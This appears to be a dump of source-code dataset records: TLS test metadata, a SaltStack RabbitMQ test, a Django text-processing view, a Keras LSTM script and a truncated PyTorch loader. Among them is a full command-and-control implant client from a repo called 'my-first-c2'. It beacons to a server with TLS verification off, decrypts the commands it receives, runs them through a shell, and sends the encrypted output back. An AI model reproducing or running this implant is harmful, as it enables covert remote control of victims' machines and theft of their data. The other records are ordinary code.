"usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 56, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 72, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 84, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.TLSExprValidator", "line_number": 108, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 108, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 117, "usage_type": "call"}, {"api_name": "tls.exceptions.TLSValidationException", "line_number": 117, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 133, "usage_type": "call"}, {"api_name": "tls.exceptions.TLSValidationException", "line_number": 133, "usage_type": "argument"}, {"api_name": "tls._common._constructs.TLSOneOf", "line_number": 156, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 156, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 150, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 165, "usage_type": "call"}, {"api_name": "tls.exceptions.TLSValidationException", "line_number": 165, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 168, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 186, "usage_type": "call"}, {"api_name": "tls.exceptions.TLSValidationException", "line_number": 186, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 189, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 189, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.PrefixedBytes", "line_number": 220, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 214, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 203, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 203, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.PrefixedBytes", "line_number": 264, "usage_type": "call"}, {"api_name": "tls._common._constructs.PrefixedBytes", "line_number": 273, "usage_type": "call"}, {"api_name": "tls._common._constructs.PrefixedBytes", "line_number": 283, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 248, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 248, "usage_type": "attribute"}, {"api_name": "construct.UBInt16", "line_number": 249, "usage_type": "call"}, {"api_name": "tls._common._constructs.UBInt24", "line_number": 250, "usage_type": "call"}, {"api_name": "tls._common._constructs.TLSPrefixedArray", "line_number": 307, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 307, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 301, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 290, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 290, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.TLSPrefixedArray", "line_number": 358, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 358, "usage_type": "call"}, {"api_name": "tls._common._constructs.UBInt24", "line_number": 359, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 351, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 340, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 340, "usage_type": "attribute"}, {"api_name": "construct.adapters.Validator", "line_number": 397, "usage_type": "name"}, {"api_name": "tls._common._constructs.TLSPrefixedArray", "line_number": 419, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 419, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 413, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.TLSPrefixedArray", "line_number": 428, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 428, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 421, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 441, "usage_type": "call"}, {"api_name": "construct.adapters.ValidationError", "line_number": 441, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 431, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 431, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 454, "usage_type": "call"}, {"api_name": "construct.adapters.ValidationError", "line_number": 454, "usage_type": "argument"}, {"api_name": "pytest.mark.parametrize", "line_number": 444, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 444, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.Opaque", "line_number": 485, "usage_type": "call"}, {"api_name": "construct.UBInt16", "line_number": 485, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 479, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 502, "usage_type": "attribute"}, {"api_name": "enum.Enum", "line_number": 511, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.EnumClass", "line_number": 530, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 530, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 524, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 552, "usage_type": "call"}, {"api_name": "construct.adapters.MappingError", "line_number": 552, "usage_type": "argument"}, {"api_name": "construct.Struct", "line_number": 575, "usage_type": "call"}, {"api_name": "tls._common._constructs.EnumSwitch", "line_number": 577, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 577, "usage_type": "call"}, {"api_name": "construct.UBInt16", "line_number": 581, "usage_type": "call"}, {"api_name": "tls._common._constructs.UBInt24", "line_number": 582, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 565, "usage_type": "attribute"}, {"api_name": "construct.core.Container", "line_number": 590, "usage_type": "call"}, {"api_name": "construct.core.Container", "line_number": 600, "usage_type": "call"}, {"api_name": "construct.core.Container", "line_number": 611, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 556, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 556, "usage_type": "attribute"}, {"api_name": "construct.Struct", "line_number": 629, "usage_type": "call"}, {"api_name": "tls._common._constructs.EnumSwitch", "line_number": 631, "usage_type": "call"}, {"api_name": "construct.UBInt8", "line_number": 631, "usage_type": "call"}, {"api_name": "construct.UBInt16", "line_number": 635, "usage_type": "call"}, {"api_name": "construct.Pass", "line_number": 636, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 624, "usage_type": "attribute"}, {"api_name": "construct.core.Container", "line_number": 645, "usage_type": "call"}, {"api_name": "construct.core.Container", "line_number": 653, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 616, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 616, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.SizeAtLeast", "line_number": 668, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 668, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 657, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 657, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.SizeAtMost", "line_number": 686, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 686, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 675, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 675, "usage_type": "attribute"}, {"api_name": "tls._common._constructs.SizeWithin", "line_number": 705, "usage_type": "call"}, {"api_name": "construct.core.Construct", "line_number": 705, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 693, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 693, "usage_type": "attribute"}]} {"seq_id": "12854632414", "text": "\"\"\"\n :codeauthor: Jayesh Kariya \n\"\"\"\n\nimport pytest\n\nimport salt.states.rabbitmq_vhost as rabbitmq_vhost\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {rabbitmq_vhost: {}}\n\n\n# 'present' function tests: 1\n\n\ndef test_present():\n \"\"\"\n Test to ensure the RabbitMQ VHost exists.\n \"\"\"\n name = \"virtual_host\"\n\n ret = {\n \"name\": name,\n \"changes\": {\"new\": \"virtual_host\", \"old\": \"\"},\n \"result\": None,\n \"comment\": \"Virtual Host 'virtual_host' will be created.\",\n }\n\n mock = MagicMock(return_value=False)\n with patch.dict(rabbitmq_vhost.__salt__, {\"rabbitmq.vhost_exists\": mock}):\n with patch.dict(rabbitmq_vhost.__opts__, {\"test\": True}):\n assert rabbitmq_vhost.present(name) == ret\n\n\n# 'absent' function tests: 1\n\n\ndef test_absent():\n \"\"\"\n Test to ensure the named user is absent.\n \"\"\"\n name = \"myqueue\"\n\n ret = {\n \"name\": name,\n \"changes\": {},\n \"result\": True,\n \"comment\": \"Virtual Host '{}' is not present.\".format(name),\n }\n\n mock = MagicMock(return_value=False)\n with patch.dict(rabbitmq_vhost.__salt__, {\"rabbitmq.vhost_exists\": mock}):\n assert rabbitmq_vhost.absent(name) == ret\n", "repo_name": "saltstack/salt", "sub_path": "tests/pytests/unit/states/rabbitmq/test_vhost.py", "file_name": "test_vhost.py", "file_ext": "py", "file_size_in_byte": 1294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13606, "dataset": "github-code", "pt": "78", "api": [{"api_name": "salt.states.rabbitmq_vhost", "line_number": 13, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 32, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 33, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 33, "usage_type": "name"}, {"api_name": "salt.states.rabbitmq_vhost.__salt__", "line_number": 33, "usage_type": "attribute"}, {"api_name": "salt.states.rabbitmq_vhost", "line_number": 33, "usage_type": "name"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 34, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 34, "usage_type": "name"}, {"api_name": "salt.states.rabbitmq_vhost.__opts__", "line_number": 34, "usage_type": "attribute"}, {"api_name": "salt.states.rabbitmq_vhost", "line_number": 34, "usage_type": "name"}, {"api_name": "salt.states.rabbitmq_vhost.present", "line_number": 35, "usage_type": "call"}, {"api_name": "salt.states.rabbitmq_vhost", "line_number": 35, "usage_type": "name"}, {"api_name": "tests.support.mock.MagicMock", "line_number": 54, "usage_type": "call"}, {"api_name": "tests.support.mock.patch.dict", "line_number": 55, "usage_type": "call"}, {"api_name": "tests.support.mock.patch", "line_number": 55, "usage_type": "name"}, {"api_name": "salt.states.rabbitmq_vhost.__salt__", "line_number": 55, "usage_type": "attribute"}, {"api_name": "salt.states.rabbitmq_vhost", "line_number": 55, "usage_type": "name"}, {"api_name": "salt.states.rabbitmq_vhost.absent", "line_number": 56, "usage_type": "call"}, {"api_name": "salt.states.rabbitmq_vhost", "line_number": 56, "usage_type": "name"}]} {"seq_id": "36981801875", "text": "\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef index(request):\n return render(request,'index.html')\n\ndef analyze(request):\n\n djtext = request.POST.get('text', 'default')\n removepunc = request.POST.get('removepunc','off')\n fullcaps = request.POST.get('fullcaps', 'off')\n newlineremover = request.POST.get('newlineremover', 'off')\n extraspaceremover = request.POST.get('extraspaceremover', 'off')\n charcount = request.POST.get('charcount', 'off')\n\n if removepunc == \"on\":\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n analyzed = \"\"\n for char in djtext:\n if char not in punctuations:\n analyzed = analyzed + char\n params = {'purpose':'Removed punctuations','analyzed_text':analyzed}\n djtext = analyzed\n\n if fullcaps == \"on\":\n analyzed = \"\"\n for char in djtext:\n analyzed = analyzed + char.upper()\n params = {'purpose': 'Capitalized Statement', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if newlineremover == \"on\":\n analyzed = \"\"\n for char in djtext:\n # \\n and \\r are used to to transport the newline character to\n if char != \"\\n\" and char!=\"\\r\":\n analyzed = analyzed + char\n params = {'purpose': 'Removed New Lines', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if extraspaceremover == \"on\":\n analyzed = \"\"\n # enumerate will return the index of the characters in string\n for index, char in enumerate(djtext):\n if not (djtext[index] == \" \" and djtext[index + 1] == \" \"):\n analyzed = analyzed + char\n params = {'purpose': 'Removed extra spaces', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if charcount == \"on\":\n total = 1\n for i in range(len(djtext)):\n if (djtext[i] == ' ' or djtext == '\\n' or djtext == '\\t'):\n total = total + 1\n params = {'purpose': 'Character count is', 'analyzed_text': 'Character count of your text is : ' + str(total)}\n\n if (removepunc != \"on\" and newlineremover != \"on\" and extraspaceremover != \"on\" and fullcaps != \"on\" and charcount != \"on\"):\n return HttpResponse(\"please select any operation and try again\")\n\n\n return render(request, 'index.html', params)\n\n", "repo_name": "ShreyasP77/Text-Utils", "sub_path": "mysite/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.shortcuts.render", "line_number": 6, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 59, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 62, "usage_type": "call"}]} {"seq_id": "29683990644", "text": "import urllib.request\nimport random\nfrom time import sleep\nimport subprocess\nimport ssl\nimport urllib.parse\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import AES, PKCS1_OAEP\nimport base64\nimport hashlib\nfrom Crypto import Random\nfrom os import listdir\n\nhost = \"\" # Address of the host running server.py\nport = \"\" # Listening port of server.py\nregister_dir = \"\"\ncommand_dir = \"command\"\nresponse_dir = \"response\"\n\nCON_FAIL_LIMIT = 5\nCONN_FAIL_RETRY_TIME = 10\n\nbase_url = f\"https://{host}:{port}\"\nssl_ctx = ssl.create_default_context()\nssl_ctx.check_hostname = False\nssl_ctx.verify_mode = ssl.CERT_NONE\n\nclass AESCipher(object):\n \"\"\"\n A classical AES Cipher. Can use any size of data and any size of password thanks to padding.\n Also ensure the coherence and the type of the data with a unicode to byte converter.\n \"\"\"\n def __init__(self, key):\n self.bs = 16\n self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()\n\n @staticmethod\n def str_to_bytes(data):\n u_type = type(b''.decode('utf8'))\n if isinstance(data, u_type):\n return data.encode('utf8')\n return data\n\n def _pad(self, s):\n return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs))\n\n @staticmethod\n def _unpad(s):\n return s[:-ord(s[len(s)-1:])]\n\n def encrypt(self, raw):\n raw = self._pad(AESCipher.str_to_bytes(raw))\n iv = Random.new().read(AES.block_size)\n cipher = AES.new(self.key, AES.MODE_CBC, iv)\n return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8')\n\n def decrypt(self, enc):\n enc = base64.b64decode(enc)\n iv = enc[:AES.block_size]\n cipher = AES.new(self.key, AES.MODE_CBC, iv)\n return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')\n\ndef generate_keys():\n key = RSA.generate(2048)\n private_key = key.export_key()\n public_key = key.publickey().export_key()\n return public_key, private_key\n\n\ndef decrypt(enc_data, private_key):\n private_key = RSA.import_key(private_key)\n\n enc_session_key = enc_data[:private_key.size_in_bytes()]\n nonce = enc_data[private_key.size_in_bytes():private_key.size_in_bytes() + 16]\n tag = enc_data[private_key.size_in_bytes() + 16:private_key.size_in_bytes() + 32]\n ciphertext = enc_data[private_key.size_in_bytes() + 32:]\n cipher_rsa = PKCS1_OAEP.new(private_key)\n session_key = cipher_rsa.decrypt(enc_session_key)\n cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)\n data = cipher_aes.decrypt_and_verify(ciphertext, tag)\n return data.decode(\"utf-8\")\n\ndef extract_id_and_key(data, private_key):\n data = base64.b64decode(data)\n data = decrypt(data, private_key)\n id = data[:16]\n key = data[16:]\n return id, key\n\nif __name__ == \"__main__\":\n pub, priv = generate_keys()\n print(pub)\n pub = base64.b64encode(pub).decode('utf-8')\n register_url = base_url + f\"/{register_dir}?key={pub}&auth=testauth\"\n try:\n request = urllib.request.urlopen(register_url, context=ssl_ctx)\n except:\n exit(-1)\n request = request.read().decode('utf-8')\n id, key = extract_id_and_key(request, priv)\n\n cipher = AESCipher(key)\n command = None\n jlo = 1\n jhi = 10\n conn_fail_count = 0\n while command != \"exit\":\n command_url = base_url + f\"/{command_dir}?id={id}\"\n response_url = base_url + f\"/{response_dir}?id={id}\"\n #print(f\"Waiting {jitter} seconds...\")\n jitter = random.randint(jlo, jhi)\n try:\n request = urllib.request.urlopen(command_url+f\"&jit={jitter}\", context=ssl_ctx)\n conn_fail_count = 0\n except urllib.error.URLError:\n conn_fail_count += 1\n print(\"Failed to connect to server ...\")\n print(f\"Fail number {conn_fail_count}\")\n if conn_fail_count == CON_FAIL_LIMIT:\n print(\"Max connection failures reached, exiting\")\n exit(-1)\n sleep(CONN_FAIL_RETRY_TIME)\n continue\n commands = request.read().decode('utf-8')\n if commands != \"\":\n commands = cipher.decrypt(commands)\n commands = commands.split(\"////\")\n replys = []\n for command in commands:\n if \"::::\" in command:\n command = command[4:]\n command = command.split()\n if command[0] == \"adj_jitter\":\n jlo = int(command[1])\n jhi = int(command[2])\n if command[0] == \"listdir\":\n directory = command[1]\n try:\n directory_contents = listdir(directory)\n except:\n directory_contents = \"Failed\"\n directory_contents = \"\\r\\n\".join(directory_contents)\n reply = f\"{command}////{directory_contents}\"\n reply = cipher.encrypt(reply).encode('utf-8')\n response_url += f\"&response={urllib.parse.quote(reply)}\"\n urllib.request.urlopen(response_url, context=ssl_ctx)\n\n else:\n proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout_value = proc.communicate()[0].decode('utf-8')\n stdout_value = stdout_value.rstrip()\n reply = f\"{command}////{stdout_value}\"\n\n reply = cipher.encrypt(reply).encode('utf-8')\n response_url += f\"&response={urllib.parse.quote(reply)}\"\n urllib.request.urlopen(response_url, context=ssl_ctx)\n sleep(jitter)\n\n\n\n", "repo_name": "wizzard-lizzard/my-first-c2", "sub_path": "client/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 5779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ssl.create_default_context", "line_number": 24, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 26, "usage_type": "attribute"}, {"api_name": "hashlib.sha256", "line_number": 35, "usage_type": "call"}, {"api_name": "Crypto.Random.new", "line_number": 53, "usage_type": "call"}, {"api_name": "Crypto.Random", "line_number": 53, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.block_size", "line_number": 53, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES", "line_number": 53, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 54, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 54, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_CBC", "line_number": 54, "usage_type": "attribute"}, {"api_name": "base64.b64encode", "line_number": 55, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 58, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES.block_size", "line_number": 59, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES", "line_number": 59, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 60, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 60, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_CBC", "line_number": 60, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES.block_size", "line_number": 61, "usage_type": "attribute"}, {"api_name": "Crypto.Cipher.AES", "line_number": 61, "usage_type": "name"}, {"api_name": "Crypto.PublicKey.RSA.generate", "line_number": 64, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.RSA", "line_number": 64, "usage_type": "name"}, {"api_name": "Crypto.PublicKey.RSA.import_key", "line_number": 71, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.RSA", "line_number": 71, "usage_type": "name"}, {"api_name": "Crypto.Cipher.PKCS1_OAEP.new", "line_number": 77, "usage_type": "call"}, {"api_name": "Crypto.Cipher.PKCS1_OAEP", "line_number": 77, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.new", "line_number": 79, "usage_type": "call"}, {"api_name": "Crypto.Cipher.AES", "line_number": 79, "usage_type": "name"}, {"api_name": "Crypto.Cipher.AES.MODE_EAX", "line_number": 79, "usage_type": "attribute"}, {"api_name": "base64.b64decode", "line_number": 84, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 93, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 96, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 96, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 96, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 111, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 113, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 113, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 113, "usage_type": "name"}, {"api_name": "urllib.request.error", "line_number": 115, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 115, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 139, "usage_type": "call"}, {"api_name": "urllib.request.parse.quote", "line_number": 145, "usage_type": "call"}, {"api_name": "urllib.request.parse", "line_number": 145, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 145, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 146, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 146, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 146, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 149, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 149, "usage_type": "attribute"}, {"api_name": "urllib.request.parse.quote", "line_number": 155, "usage_type": "call"}, {"api_name": "urllib.request.parse", "line_number": 155, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 155, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 156, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 156, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 156, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 157, "usage_type": "call"}]} {"seq_id": "12243781835", "text": "import pandas as pd\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.externals import joblib\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.callbacks import TensorBoard\nimport json\nfrom keras.layers import CuDNNLSTM\nscalers = [MinMaxScaler(feature_range=(0, 1)), MinMaxScaler(feature_range=(0, 1))]\n\n\ndef parse_all(file):\n print(file)\n raw_data = pd.read_csv(\"Data/\" + file + \".csv\")\n return raw_data\n\ndef main():\n holder = {}\n X = pd.DataFrame()\n for year in range(15, 18):\n for station in [2, 7, 11, 14]:\n file = str(station).zfill(2) + '_' + str(year)\n y = parse_all(file)\n if year in holder:\n holder[year] = pd.merge(holder[year], y, how=\"outer\", on=\"date\", sort=False)\n else:\n holder[year] = y\n\n for key in holder:\n X = X.append(other=holder[key], ignore_index=True)\n\n X.to_csv(\"Data/Features.csv\")\n X.dropna(thresh=6, inplace=True)\n X.fillna(-1, inplace=True)\n target_raw = pd.read_csv(\"Data/MonthlyTarget.csv\")\n weeks = [0 for _ in range(len(target_raw))]\n for date in X['date'].get_values():\n which = (int(date[2:-3]) - 1) + (int(date[-2:]) - 15) * 12\n weeks[which] = weeks[which] + 1\n print(weeks)\n\n targets = target_raw['target'].get_values()\n y = []\n for ind, people in enumerate(targets):\n amp = [people // weeks[ind] for _ in range(weeks[ind])]\n y.extend(amp)\n\n y = pd.Series(y).values.astype('float32').reshape(-1, 1)\n split = (y.shape[0] // 3) * 2\n y = scalers[0].fit_transform(y)\n y_test = y[split:, :]\n y = y[:split, :]\n\n # X = pd.read_csv(\"KNN.csv\")\n X = X.drop(\"date\", axis=1)\n print(X[:5])\n X = X.values.astype('float32')\n svm_X = X\n X = scalers[1].fit_transform(X)\n all_X = X.reshape((X.shape[0], 1, X.shape[1]))\n\n X_test = X[split:]\n X_test = X_test.reshape((X_test.shape[0], 1, X_test.shape[1]))\n X = X[:split]\n X = X.reshape((X.shape[0], 1, X.shape[1]))\n print(\"{} {}\".format(X.shape, y.shape))\n model_fit([CuDNNLSTM(50, input_shape=(X.shape[1], X.shape[2]), return_sequences=True),\n Dropout(0.2),\n CuDNNLSTM(100),\n Dropout(0.2),\n Dense(1),\n Activation('linear')],\n train_X=X, train_y=y, test_X=X_test, test_y=y_test, optim='rmsprop', batch=50)\n return\n model_fit([CuDNNLSTM(250, input_shape=(X.shape[1], X.shape[2]), return_sequences=True),\n Dropout(0.2),\n CuDNNLSTM(200, return_sequences=True),\n Dropout(0.2),\n CuDNNLSTM(300),\n Dense(1),\n Activation('linear')],\n train_X=X, train_y=y, test_X=X_test, test_y=y_test, batch=5, save=True)\n\n\ndef model_fit(layers, train_X, train_y, test_X, test_y, epochs=500, optim='rmsprop', batch=10, save=False):\n call = TensorBoard(log_dir='./Graph', histogram_freq=0,\n write_graph=True, write_images=True)\n model = Sequential(layers)\n model.compile(loss='mean_squared_error', optimizer=optim)\n model.fit(train_X, train_y, batch_size=batch, epochs=epochs, verbose=1, shuffle=False,\n validation_data=(test_X, test_y), callbacks=[call])\n if save:\n model.save(\"models/lstm.h5\")\n with open('models/lstm.json', 'w') as file:\n json.dump(model.to_json(), file, indent=2)\n model.save_weights('models/lstm_weights.h5')\n joblib.dump(scalers[1], \"models/x_scaler.save\")\n joblib.dump(scalers[0], \"models/y_scaler.save\")\n\nmain()\n", "repo_name": "gh0stsh0t/PollutionHospitalization-LSTM", "sub_path": "src/model_generate.py", "file_name": "model_generate.py", "file_ext": "py", "file_size_in_byte": 3682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.CuDNNLSTM", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.CuDNNLSTM", "line_number": 69, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.CuDNNLSTM", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.CuDNNLSTM", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.CuDNNLSTM", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 80, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 81, "usage_type": "call"}, {"api_name": "keras.callbacks.TensorBoard", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 88, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 97, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 97, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 98, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 98, "usage_type": "name"}]} {"seq_id": "75115784224", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset,DataLoader\nfrom torch.autograd import Variable\nfrom torch import optim\nimport os\nimport numpy as np\nfrom functools import reduce \nimport operator\nimport json\nimport random\nimport time\nimport math\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nassert os and np and F and math\n\n\nclass Datamanager:\n def __init__(self,vocabulary_file=None, min_count= None, max_length=0):\n self.voc=Vocabulary(vocabulary_file=vocabulary_file,min_count=min_count)\n self.data={}\n self.vocab_size= self.voc.n_words\n self.max_length=max_length\n def get_data(self,name,f_path,l_path,mode,batch_size,shuffle=True):\n # self.data[name]=[ dataloader, labels]\n feats={}\n captions_id={}\n captions_str={}\n max_sen=0\n for i in os.listdir(f_path):\n if not i.startswith('.'):\n x=torch.FloatTensor(np.load('{}/{}'.format(f_path,i)))\n feats[i[:-4]]=x\n\n with open(l_path) as f:\n labels=json.load(f)\n if mode== 'train':\n for l in labels:\n m=self.voc.addSentence(l['caption'])\n if m>max_sen: max_sen=m\n self.max_length=max_sen+2\n self.vocab_size=self.voc.n_words\n # save the captions_str is for getting the grounded sequence when evaluating\n for l in labels:\n captions_id[l['id']]=self.IndexFromSentence(l['caption'],begin=True,end=True)\n 